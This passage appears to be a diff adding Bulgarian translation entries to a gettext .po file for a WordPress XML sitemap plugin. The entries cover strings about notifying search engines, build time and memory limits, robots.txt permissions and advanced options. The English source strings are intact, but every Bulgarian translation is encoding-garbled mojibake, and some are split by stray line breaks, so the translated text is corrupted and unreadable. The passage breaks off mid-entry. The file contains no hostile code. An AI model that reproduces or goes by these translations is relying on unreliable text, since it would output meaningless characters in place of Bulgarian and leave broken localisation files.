+msgstr "ÐÑÐœÐµ %time% ÑÐµÐºÑÐœÐŽÐž Ð·Ð° ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° MSN.com, Ð°ÐºÐŸ Ð¶ÐµÐ»Ð°ÐµÑÐµ ÐŽÐ° ÐœÐ°ÐŒÐ°Ð»ÐžÑÐµ Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŽÐµÐ°ÐºÑÐžÐ²ÐžÑÐ°ÑÐµ ÑÐ°Ð·Ðž ÑÑÐœÐºÑÐžÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+#, php-format
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ñ ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° MSN.com. <a href=\"%s\">ÐÐžÐ¶ ÑÐµÐ·ÑÐ»ÑÐ°ÑÐ°</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:642
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com Ð±ÐµÑÐµ <b>ÑÐ²ÐµÐŽÐŸÐŒÐµÐœ ÑÑÐ¿ÐµÑÐœÐŸ</b> Ð·Ð° Ð¿ÑÐŸÐŒÐµÐœÐžÑÐµ Ð² Ð±Ð»ÐŸÐ³Ð°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐÑÐœÐµ %time% ÑÐµÐºÑÐœÐŽÐž Ð·Ð° ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° Ask.com Ð°ÐºÐŸ Ð¶ÐµÐ»Ð°ÐµÑÐµ ÐŽÐ° ÐœÐ°ÐŒÐ°Ð»ÐžÑÐµ Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŽÐµÐ°ÐºÑÐžÐ²ÐžÑÐ°ÑÐµ ÑÐ°Ð·Ðž ÑÑÐœÐºÑÐžÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ÐÐŒÐ°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒ Ñ ÑÐ²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµÑÐŸ ÐœÐ° Ask.com. <a href=\"%s\">ÐÐžÐ¶ ÑÐµÐ·ÑÐ»ÑÐ°ÑÐ°</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:656
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ÐÐµÐœÐµÑÐžÑÐ°ÐœÐµÑÐŸ ÐœÐ° sitemap-Ð° ÐŸÑÐœÐµ <b>%time% ÑÐµÐºÑÐœÐŽÐž</b> Ðž Ð±ÐµÑÐµ ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐ° %memory% MB Ð¿Ð°ÐŒÐµÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:658
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "ÐÑÐŸÑÐµÑÑÑ ÐœÐ° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐŸÑÐœÐµ <b>%time% ÑÐµÐºÑÐœÐŽÐž</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:662
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Ð¡ÑÐŽÑÑÐ¶Ð°ÐœÐžÐµÑÐŸ ÐœÐ° ÐºÐ°ÑÑÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° ÐÐž <strong>ÐœÐµ Ðµ Ð¿ÑÐŸÐŒÐµÐœÐµÐœÐŸ</strong> ÐŸÑ Ð¿ÐŸÑÐ»ÐµÐŽÐœÐžÑ Ð¿ÑÑ, Ð·Ð°ÑÐŸÐ²Ð° ÑÐ°Ð¹Ð»ÐŸÐ²Ðµ ÐœÐµ Ð±ÑÑ
+Ð° ÑÑÐ·ÐŽÐ°ÐŽÐµÐœÐž Ðž ÐœÐµ Ð±ÑÑ
+Ð° ping-ÐœÐ°ÑÐž ÑÑÑÑÐ°ÑÐºÐž."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:670
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "ÐÑÐ·ÐŒÐŸÐ¶ÐœÐŸ Ðµ Ð¿ÑÐŸÑÐµÑÑÑ Ð¿ÐŸ ÐžÐ·Ð³ÑÐ°Ð¶ÐŽÐ°ÐœÐµ Ð²ÑÐµ ÐŸÑÐµ ÐŽÐ° ÐœÐµ Ðµ Ð¿ÑÐžÐºÐ»ÑÑÐžÐ». ÐÑÐµÐ·Ð°ÑÐµÐŽÐž ÑÑÑÐ°ÐœÐžÑÐ°ÑÐ° ÑÐ»ÐµÐŽ ÐœÑÐºÐŸÐ»ÐºÐŸ ÑÐµÐºÑÐœÐŽÐž Ðž Ð¿ÑÐŸÐ²ÐµÑÐž Ð·Ð° Ð¿ÑÐŸÐŒÑÐœÐ°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:673
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐžÑÑ ÐŸÐ¿ÐžÑ ÐœÐ° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐœÐ° ÐºÐ°ÑÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° Ð¿ÑÐžÐºÐ»ÑÑÐž ÐœÐµÑÑÐ¿ÐµÑÐœÐŸ! ÐÐŸÐ¶ÐµÑÐµ ÐŽÐ° ÐŸÐ¿ÐžÑÐ°ÑÐµ ÐŽÐ° ÑÐ²ÐµÐ»ÐžÑÐžÑÐµ ÐŒÐ°ÐºÑÐžÐŒÑÐŒÐ° ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐ° Ð¿Ð°ÐŒÐµÑ Ðž Ð»ÐžÐŒÐžÑÐ° Ð·Ð° Ð²ÑÐµÐŒÐµ ÐœÐ° ÐžÐ·Ð¿ÑÐ»ÐœÐµÐœÐžÐµ ÐœÐ° PHP-ÑÐºÑÐžÐ¿ÑÐŸÐ²Ðµ ÐœÐ° ÐÐ°ÑÐžÑ ÑÐµÐ±-ÑÑÑÐ²ÑÑ. <a href=\"%url%\">ÐÐŸÐ²ÐµÑÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:675
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐŸÑÐŸ ÑÐµÐ³ÐžÑÑÑÐžÑÐ°ÐœÐŸ ÐºÐŸÐ»ÐžÑÐµÑÑÐ²ÐŸ ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐ° ÐŸÑ ÑÐºÑÐžÐ¿ÑÐ° Ð¿Ð°ÐŒÐµÑ Ðµ %memused%MB, Ð»ÐžÐŒÐžÑÐ° Ð·Ð° ÐžÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°ÐœÐ° Ð¿Ð°ÐŒÐµÑ ÐŸÑ PHP-ÑÐºÑÐžÐ¿ÑÐŸÐ²Ðµ, Ð·Ð°ÐŽÐ°ÐŽÐµÐœ Ð² ÐºÐŸÐœÑÐžÐ³ÑÑÐ°ÑÐžÑÑÐ° ÐœÐ° ÐÐ°ÑÐžÑ ÑÐµÐ±-ÑÑÑÐ²ÑÑ Ðµ %memlimit%MB."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:679
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ÐÐŸÑÐ»ÐµÐŽÐœÐŸÑÐŸ ÑÐµÐ³ÐžÑÑÑÐžÑÐ°ÐœÐŸ Ð²ÑÐµÐŒÐµ Ð·Ð° ÐžÐ·Ð¿ÑÐ»ÐœÐµÐœÐžÐµ ÐœÐ° ÑÐºÑÐžÐ¿ÑÐ° Ð±ÐµÑÐµ %timeused% ÑÐµÐºÑÐœÐŽÐž, Ð»ÐžÐŒÐžÑÐ° Ð·Ð° Ð¿ÑÐŸÐŽÑÐ»Ð¶ÐžÑÐµÐ»ÐœÐŸÑÑ ÐœÐ° ÐžÐ·Ð¿ÑÐ»ÐœÐµÐœÐžÐµ ÐœÐ° PHP-ÑÐºÑÐžÐ¿ÑÐŸÐ²Ðµ Ð·Ð°ÐŽÐ°ÐŽÐµÐœ Ð² ÐºÐŸÐœÑÐžÐ³ÑÑÐ°ÑÐžÑÑÐ° ÐœÐ° ÐÐ°ÑÐžÑ ÑÐµÐ±-ÑÑÑÐ²ÑÑ Ðµ %timelimit% ÑÐµÐºÑÐœÐŽÐž."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:683
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "ÐÐ·Ð¿ÑÐ»ÐœÐµÐœÐžÐµÑÐŸ ÐœÐ° ÑÐŸÐ·Ðž ÑÐºÑÐžÐ¿Ñ ÑÐ¿ÑÑ ÐŸÐºÐŸÐ»ÐŸ Ð¿ÐŸÑÑ ÐœÐŸÐŒÐµÑ %lastpost% (+/- 100)."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:686
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "ÐÐºÐŸ ÑÑÐµ ÐœÐ°Ð¿ÑÐ°Ð²ÐžÐ»Ðž ÐœÑÐºÐ°ÐºÐ²Ðž Ð¿ÑÐŸÐŒÐµÐœÐž Ð¿ÐŸ ÑÑÑÐ²ÑÑÐ° ÐžÐ»Ðž Ð±Ð»ÐŸÐ³Ð° Ðµ ÐœÐµÐŸÐ±Ñ
+ÐŸÐŽÐžÐŒÐŸ ÐŽÐ° <a href=\"%s\">Ð ÐµÐ³ÐµÐœÐµÑÐžÑÐ°ÑÐµ Sitemap-Ð°</a> ÑÑÑÐœÐŸ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:688
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "ÐÐºÐŸ ÐžÐ·Ð¿ÐžÑÐ²Ð°ÑÐµ Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐž Ð¿ÑÐž ÑÑÐ·ÐŽÐ°Ð²Ð°ÐœÐµÑÐŸ ÐœÐ° ÑÐ°Ð¹Ð»Ð° ÐŒÐŸÐ¶ÐµÑÐµ ÐŽÐ° Ð°ÐºÑÐžÐ²ÐžÑÐ°ÑÐµ <a href=\"%d\">ÐÐµÐ±ÑÐ³ Ð€ÑÐœÐºÑÐžÑÑÐ°</a> Ð·Ð° ÐŽÐ° Ð¿ÐŸÐ»ÑÑÐžÑÐµ Ð¿ÐŸÐ²ÐµÑÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ Ð·Ð° Ð³ÑÐµÑÐºÐžÑÐµ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:695
+msgid "Basic Options"
+msgstr "ÐÑÐœÐŸÐ²ÐœÐž ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:697
+msgid "Sitemap files:"
+msgstr "Sitemap ÑÐ°Ð¹Ð»ÐŸÐ²Ðµ:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:697
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:765
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:782
+msgid "Learn more"
+msgstr "ÐÐŸÐ²ÐµÑÐµ ÐžÐœÑÐŸÑÐŒÐ°ÑÐžÑ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:702
+msgid "Write a normal XML file (your filename)"
+msgstr "ÐÐµÐœÐµÑÐžÑÐ°Ð¹ ÐœÐŸÑÐŒÐ°Ð»ÐµÐœ XML ÑÐ°Ð¹Ð» (ÐžÐŒÐµ ÐœÐ° ÑÐ°Ð¹Ð»Ð°)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:708
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ÐÐµÐœÐµÑÐžÑÐ°Ð¹ Ð°ÑÑ
+ÐžÐ²ÐžÑÐ°ÐœÐ° Ð²ÐµÑÑÐžÑ  (ÐžÐŒÐµ_ÐœÐ°_ÑÐ°Ð¹Ð»Ð° + .gz)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+msgid "Building mode:"
+msgstr "ÐÐµÑÐŸÐŽ ÐœÐ° Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:717
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Ð ÐµÐ³ÐµÐœÐµÑÐžÑÐ°Ð¹ sitemap-Ð° Ð¿ÑÐž Ð¿ÑÐŸÐŒÑÐœÐ° Ð² ÑÑÐŽÑÑÐ¶Ð°ÐœÐžÐµÑÐŸ ÐœÐ° Ð±Ð»ÐŸÐ³Ð°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:724
+msgid "Enable manual sitemap building via GET Request"
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐ°ÐœÐµ ÐœÐ° ÑÑÑÐœÐŸ Ð³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐœÐ° sitemap-ÑÐ°Ð¹Ð»Ð° ÑÑÐµÐ· ÐžÐ·Ð¿ÑÐ°ÑÐ°ÐœÐµ ÐœÐ° GET Ð·Ð°ÑÐ²ÐºÐ°"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:728
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Ð¢ÐŸÐ²Ð° Ð¿ÑÐ°Ð²Ðž Ð²ÑÐ·ÐŒÐŸÐ¶ÐœÐŸ ÑÐµÐ³ÐµÐœÐµÑÐžÑÐ°ÐœÐµ ÐœÐ° sitemap-Ð° Ð°ÐºÐŸ Ð²ÑÐœÑÐµÐœ ÐžÐœÑÑÑÑÐŒÐµÐœÑ Ðµ Ð²ÐœÐµÑÑÐ» Ð¿ÑÐŸÐŒÐµÐœÐž Ð² Ð±Ð°Ð·Ð°ÑÐ° ÐŽÐ°ÐœÐœÐž ÐœÐ° WordPress Ð±ÐµÐ· ÐŽÐ° ÐžÐ·Ð¿ÐŸÐ·Ð²Ð° WordPress API. ÐÐºÑÐžÐ²ÐžÑÐ°Ð¹ÑÐµ Ð¿ÑÐŸÑÐµÑÐ° ÐŸÑ ÑÐ°Ð·Ðž Ð²ÑÑÐ·ÐºÐ°: <a href=\"%1\">%1</a>. ÐÐŸÐ»Ñ, Ð¿ÑÐŸÐ²ÐµÑÐµÑÐµ log-ÑÐ°Ð¹Ð»Ð° Ð¿ÐŸ-Ð³ÐŸÑÐµ Ð·Ð° ÐŽÐ° ÑÐ°Ð·Ð¶ÐµÑÐµÑÐµ ÐŽÐ°Ð»Ðž sitemap-Ð° Ðµ Ð³ÐµÐœÐµÑÐžÑÐ°Ðœ ÑÑÐ¿ÐµÑÐœÐŸ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+msgid "Update notification:"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµ Ð¿ÑÐž ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:736
+msgid "Notify Google about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµ ÐœÐ° Google Ð¿ÑÐž ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ ÐœÐ° Ð±Ð»ÐŸÐ³Ð° ÐÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:737
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "ÐÐµ Ðµ ÐœÐµÐŸÐ±Ñ
+ÐŸÐŽÐžÐŒÐ° ÑÐµÐ³ÐžÑÑÑÐ°ÑÐžÑ, ÐœÐŸ ÑÑÑÐ±Ð²Ð° ÐŽÐ° ÑÐµ Ð²ÐºÐ»ÑÑÐžÑÐµ Ð² <a href=\"%s\">Google Webmaster Tools</a> Ð·Ð° ÐŽÐ° Ð¿ÑÐŸÐ²ÐµÑÐžÑÐµ ÑÑÐ°ÑÐžÑÑÐžÐºÐ°ÑÐ° ÐŸÑ Ð¿ÐŸÑÐµÑÐµÐœÐžÑÑÐ° ÐœÐ° ÑÑÑÑÐ°ÑÐºÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° Ð²Ðž."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:741
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµ ÐœÐ° MSN Live Search Ð¿ÑÐž ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ ÐœÐ° Ð±Ð»ÐŸÐ³Ð° ÐÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:742
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "ÐÐµ Ðµ ÐœÐµÐŸÐ±Ñ
+ÐŸÐŽÐžÐŒÐ° ÑÐµÐ³ÐžÑÑÑÐ°ÑÐžÑ, ÐœÐŸ ÑÑÑÐ±Ð²Ð° ÐŽÐ° ÑÐµ Ð²ÐºÐ»ÑÑÐžÑÐµ Ð² <a href=\"%s\">MSN Live Webmaster Tools</a> Ð·Ð° ÐŽÐ° Ð¿ÑÐŸÐ²ÐµÑÐžÑÐµ ÑÑÐ°ÑÐžÑÑÐžÐºÐ°ÑÐ° ÐŸÑ Ð¿ÐŸÑÐµÑÐµÐœÐžÑÑÐ° ÐœÐ° ÑÑÑÑÐ°ÑÐºÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° Ð²Ðž."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:746
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµ ÐœÐ° Ask.com Ð·Ð° ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐžÑ ÐœÐ° Ð±Ð»ÐŸÐ³Ð° ÐÐž"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+msgid "No registration required."
+msgstr "ÐÐµ Ðµ ÐœÐµÐŸÐ±Ñ
+ÐŸÐŽÐžÐŒÐ° ÑÐµÐ³ÐžÑÑÑÐ°ÑÐžÑ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:751
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Ð£Ð²ÐµÐŽÐŸÐŒÑÐ²Ð°ÐœÐµ ÐœÐ° YAHOO Ð·Ð° ÐŸÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐžÑ ÐœÐ° Ð±Ð»ÐŸÐ³Ð° ÐÐž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:752
+msgid "Your Application ID:"
+msgstr "ÐÐ°ÑÐµÑÐŸ Application ID:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:753
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "ÐÑÐŒÐ°ÑÐµ Ð»Ðž ÐºÐ»ÑÑ? <a href=\"%s1\">ÐÐ°ÑÐ²ÐµÑÐµ ÑÐž ÐŸÑ ÑÑÐº</a>! %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:760
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "ÐÐ±ÐœÐŸÐ²ÑÐ²Ð°ÐœÐµ ÐžÐ»Ðž ÑÑÐ·ÐŽÐ°Ð²Ð°ÐœÐµ ÐœÐ° ÑÐ°ÐºÐ» %s Ð² Ð³Ð»Ð°Ð²ÐœÐ°ÑÐ° ÐŽÐžÑÐµÐºÑÐŸÑÐžÑ ÐœÐ° Ð±Ð»ÐŸÐ³Ð°, ÐºÐŸÑÑÐŸ ÑÐµ ÐœÐ°ÐŒÐžÑÐ° ÐŒÐµÑÑÐŸÐ¿ÐŸÐ»ÐŸÐ¶ÐµÐœÐžÐµÑÐŸ ÐœÐ° ÐºÐ°ÑÑÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:763
+msgid "File permissions: "
+msgstr "ÐÑÐ°Ð²Ð° Ð²ÑÑÑ
+Ñ ÑÐ°Ð¹Ð»Ð°:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:768
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt Ðµ ÑÐ°Ð·ÑÐµÑÐµÐœ Ð·Ð° Ð¿ÑÐŸÐŒÑÐœÐ°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:770
+msgid "Error, robots.txt is not writable."
+msgstr "ÐÑÐµÑÐºÐ°, robots.txt Ðµ Ð·Ð°ÐºÐ»ÑÑÐµÐœ Ð·Ð° Ð¿ÑÐŸÐŒÑÐœÐ°."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:774
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt ÐœÐµ ÑÑÑÐµÑÑÐ²ÑÐ²Ð°, ÐœÐŸ ÐŽÐžÑÐµÐºÑÐŸÑÐžÑÑÐ° Ðµ ÑÐ°Ð·ÑÐµÑÐµÐœÐ° Ð·Ð° Ð¿ÐžÑÐ°ÐœÐµ."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:776
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "ÐÑÐµÑÐºÐ°, robots.txt ÐœÐµ ÑÑÑÐµÑÑÐ²ÑÐ²Ð° Ðž ÐŽÐžÑÐµÐºÑÐŸÑÐžÑÑÐ° ÐœÐµ Ðµ ÑÐ°Ð·ÑÐµÑÐµÐœÐ° Ð·Ð° Ð¿ÐžÑÐ°ÐœÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:782
+msgid "Advanced options:"
+msgstr "ÐÐŸÐ¿ÑÐ»ÐœÐžÑÐµÐ»ÐœÐž ÐœÐ°ÑÑÑÐŸÐ¹ÐºÐž:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:785
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ÐÐ³ÑÐ°ÐœÐžÑÐž Ð±ÑÐŸÑ ÐœÐ° Ð¿ÐŸÑÑÐŸÐ²ÐµÑÐµ Ð² sitemap-Ð°:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:785
+msgid "Newer posts will be included first"
+msgstr "ÐÐŸÐ²ÐžÑÐµ Ð¿ÐŸÑÑÐŸÐ²Ðµ ÑÐµ Ð±ÑÐŽÐ°Ñ Ð²ÐºÐ»ÑÑÐµÐœÐž Ð¿ÑÑÐ²ÐŸ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:788
+msgid "Try to increase the memory limit to:"
+msgstr "ÐÑÐž Ð²ÑÐ·ÐŒÐŸÐ¶ÐœÐŸÑÑ ÑÐ²ÐµÐ»ÐžÑÐž Ð»ÐžÐŒÐžÑÐ° ÐœÐ° Ð¿Ð°ÐŒÐµÑÑÐ° ÐœÐ°:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:788
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ÐœÐ°Ð¿ÑÐžÐŒÐµÑ \"4M\", \"16M\""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "Try to increase the execution time limit to:"
+msgstr "ÐÑÐž Ð²ÑÐ·ÐŒÐŸÐ¶ÐœÐŸÑÑ ÑÐ²ÐµÐ»ÐžÑÐž Ð²ÑÐµÐŒÐµÑÐŸ Ð·Ð° ÐžÐ·Ð¿ÑÐ»ÐœÐµÐœÐžÐµ ÐœÐ°:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:791
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "ÑÐµÐºÑÐœÐŽÐž, ÐœÐ°Ð¿ÑÐžÐŒÐµÑ \"60\" ÐžÐ»Ðž \"0\" Ð±ÐµÐ· ÐŸÐ³ÑÐ°ÐœÐžÑÐµÐœÐžÐµ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:795
+msgid "Include a XSLT stylesheet:"
+msgstr "ÐÐŸÐ±Ð°Ð²Ðž XSLT Stylesheet:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:796
+msgid "Full or relative URL to your .xsl file"
+msgstr "ÐÐ±ÑÐŸÐ»ÑÑÐµÐœ ÐžÐ»Ðž ÐŸÑÐœÐŸÑÐžÑÐµÐ»ÐµÐœ URL ÐŽÐŸ ÐÐ°ÑÐžÑ .xsl ÑÐ°Ð¹Ð»"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:796
+msgid "Use default"
+msgstr "ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð°Ð¹ Ð¡ÑÐ°ÐœÐŽÐ°ÑÑÐœÐžÑÐµ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:801
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐ°ÐœÐµ ÐœÐ° MySQL Standard ÐŒÐµÑÐŸÐŽ. ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð° ÑÐµ ÑÐ°ÐŒÐŸ Ð¿ÑÐž Ð¿ÐŸÐ»ÑÑÐ°Ð²Ð°ÐœÐµ ÐœÐ° MySQL Ð³ÑÐµÑÐºÐž. (ÐÐ·Ð¿ÐŸÐ»Ð·Ð²Ð° ÐŽÐŸÑÑÐ° Ð¿ÐŸÐ²ÐµÑÐµ Ð¿Ð°ÐŒÐµÑ!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:807
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ÐÐµÐœÐµÑÐžÑÐ°Ð¹ ÐºÐ°ÑÑÐ°ÑÐ° ÐœÐ° ÑÐ°Ð¹ÑÐ° ÐœÐ° Ð·Ð°ÐŽÐµÐœ Ð¿Ð»Ð°Ðœ (ÐÑÐŒÐ° ÐŽÐ° Ðµ ÐœÐµÐŸÐ±Ñ
